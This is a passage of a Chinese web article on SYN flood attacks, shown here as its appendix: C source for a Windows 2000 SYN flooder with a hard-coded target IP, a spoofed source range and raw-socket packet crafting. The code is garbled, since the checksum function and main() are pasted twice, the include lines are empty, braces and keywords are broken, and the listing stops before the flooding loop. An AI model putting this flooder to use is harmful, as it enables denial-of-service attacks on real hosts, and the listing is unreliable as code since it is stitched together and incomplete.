剖析SYN Flood攻击与防御技术(图)

作者:佚名    文章来源:不详    点击数:    更新时间:2008-7-5

附录:Win2000下的SYN Flood程序
改编自Linux下Zakath编写的SYN Flooder
编译环境:VC++6.0,编译时需要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
//                                                                      //
// SYN Flooder For Win2K by Shotgun                                    //
//                                                                      //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
//                                                                      //
// Released: [2001.4]                                                //
// Author:  [Shotgun]                                               //
// Homepage:                                                           //
//    [http://IT.Xici.Net]                                    //
//    [http://WWW.Patching.Net]                               //
//                                                                      //
//////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//被攻击的IP
#define FAKE_IP "10.168.150.1"  //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF  //错误返回值

typedef struct _iphdr    //定义IP首部
{
 unsigned char h_verlen;   //4位首部长度,4位IP版本号
 unsigned char tos;    //8位服务类型TOS
 unsigned short total_len;  //16位总长度(字节)
 unsigned short ident;   //16位标识
 unsigned short frag_and_flags; //3位标志位
 unsigned char  ttl;    //8位生存时间 TTL
 unsigned char proto;   //8位协议 (TCP, UDP 或其他)
 unsigned short checksum;  //16位IP首部校验和
 unsigned int sourceIP;   //32位源IP地址
 unsigned int destIP;   //32位目的IP地址
}IP_HEADER;

struct        //定义TCP伪首部
{
  unsigned long saddr;  //源地址
  unsigned long daddr;  //目的地址
  char mbz;
  char ptcl;     //协议类型
  unsigned short tcpl;  //TCP长度
}psd_header;

typedef struct _tcphdr    //定义TCP首部
{
 USHORT th_sport;    //16位源端口
 USHORT th_dport;    //16位目的端口
 unsigned int th_seq;   //32位序列号
 unsigned int th_ack;   //32位确认号
 unsigned char th_lenres;  //4位首部长度/6位保留字
 unsigned char th_flag;   //6位标志位
 USHORT th_win;     //16位窗口大小
 USHORT th_sum;     //16位校验和
 USHORT th_urp;     //16位紧急数据偏移量
}TCP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)

unsigned long cksum=0;
   while(size >1) {
 cksum+=*buffer++;
 size -=sizeof(USHORT);
  }
  if(size ) {
 cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

// SynFlood主函数
int main()
{
 int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
 int TimeOut=2000,SendSEQ=0;
 char SendBuf[128]={0};
 char RecvBuf[65535]={0};
 WSADATA wsaData;
 SOCKET SockRaw=(SOCKET)NULL;
 struct sockaddr_in DestAddr;
 IP_HEADER ip_header;
 TCP_HEADER tcp_header;
 //初始化SOCK_RAW
 if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
  fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
  ExitProcess(STATUS_FAILED);
 }
 SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
  fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
 }
 flag=TRUE;
 //设置IP_HDRINCL以自己填充IP首部
 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
 __try{
  //设置发送超时
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
     fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
   __leave;
  }

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)

unsigned long cksum=0;
   while(size >1) {
 cksum+=*buffer++;
 size -=sizeof(USHORT);
  }
  if(size ) {
 cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

// SynFlood主函数
int main()
{
 int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
 int TimeOut=2000,SendSEQ=0;
 char SendBuf[128]={0};
 char RecvBuf[65535]={0};
 WSADATA wsaData;
 SOCKET SockRaw=(SOCKET)NULL;
 struct sockaddr_in DestAddr;
 IP_HEADER ip_header;
 TCP_HEADER tcp_header;
 //初始化SOCK_RAW
 if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
  fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
  ExitProcess(STATUS_FAILED);
 }
 SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
  fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
 }
 flag=TRUE;
 //设置IP_HDRINCL以自己填充IP首部
 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
 __try{
  //设置发送超时
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
     fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
   __leave;
  }

上一页 1 2 3 4 

上一页  [1] [2] [3] [4] 

  • 上一篇文章:
  • 下一篇文章: